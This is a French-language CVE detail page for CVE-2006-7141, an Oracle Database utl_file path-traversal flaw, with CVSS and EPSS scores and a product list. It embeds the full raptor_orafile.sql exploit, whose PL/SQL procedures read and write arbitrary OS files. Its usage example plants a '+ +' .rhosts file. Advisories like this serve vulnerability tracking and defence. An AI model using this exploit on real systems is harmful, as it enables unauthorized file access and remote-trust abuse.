CVE-2006-7141 : Détail

CVE-2006-7141

1.47%V4
Network
2007-03-07
19h00 +00:00
2018-10-16
12h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Absolute path traversal vulnerability in Oracle Database Server, when utl_file_dir is set to a wildcard value or "CREATE ANY DIRECTORY to PUBLIC" privileges exist, allows remote authenticated users to read and modify arbitrary files via full filepaths to utl_file functions such as (1) utl_file.put_line and (2) utl_file.get_line, a related issue to CVE-2005-0701. NOTE: this issue is disputed by third parties who state that this is due to an insecure configuration instead of an inherent vulnerability

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6 AV:N/AC:M/Au:S/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 2959

Date de publication : 2006-12-18 23h00 +00:00
Auteur : Marco Ivaldi
EDB Vérifié : Yes

-- -- $Id: raptor_orafile.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $ -- -- raptor_orafile.sql - file system access suite for oracle -- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> -- -- This is an example file system access suite for Oracle based on the utl_file -- package (http://www.adp-gmbh.ch/ora/plsql/utl_file.html). Use it to remotely -- read/write OS files with the privileges of the RDBMS user, without the need -- for any special privileges (CONNECT and RESOURCE roles are more than enough). -- -- The database _must_ be configured with a non-NULL utl_file_dir value -- (preferably '*'). Check it using the following query: -- SQL> select name, value from v$parameter where name = 'utl_file_dir'; -- -- If you have the required privileges (ALTER SYSTEM) and feel brave -- enough to perform a DBMS shutdown/startup, you can consider modifying -- this parameter yourself, using the following PL/SQL: -- SQL> alter system set utl_file_dir='*' scope =spfile; -- -- See also: http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql -- -- Usage example: -- $ sqlplus scott/tiger -- [...] -- SQL> @raptor_orafile.sql -- [...] -- SQL> exec utlwritefile('/tmp', 'mytest', '# this is a fake .rhosts file'); -- SQL> exec utlwritefile('/tmp', 'mytest', '+ +'); -- SQL> set serveroutput on; -- SQL> exec utlreadfile('/tmp', 'mytest'); -- # this is a fake .rhosts file -- + + -- End of file. -- -- file reading module -- -- usage: set serveroutput on; -- exec utlreadfile('/dir', 'file'); create or replace procedure utlreadfile(p_directory in varchar2, p_filename in varchar2) as buffer varchar2(260); fd utl_file.file_type; begin fd := utl_file.fopen(p_directory, p_filename, 'r'); dbms_output.enable(1000000); loop utl_file.get_line(fd, buffer, 254); dbms_output.put_line(buffer); end loop; exception when no_data_found then dbms_output.put_line('End of file.'); if (utl_file.is_open(fd) = true) then utl_file.fclose(fd); end if; when others then if (utl_file.is_open(fd) = true) then utl_file.fclose(fd); end if; end; / -- file writing module -- -- usage: exec utlwritefile('/dir', 'file', 'line to append'); create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as fd utl_file.file_type; begin fd := utl_file.fopen(p_directory, p_filename, 'a'); -- append utl_file.put_line(fd, p_line); if (utl_file.is_open(fd) = true) then utl_file.fclose(fd); end if; end; / -- milw0rm.com [2006-12-19]

Products Mentioned

Configuraton 0

Oracle>>Database_server >> Version *

Références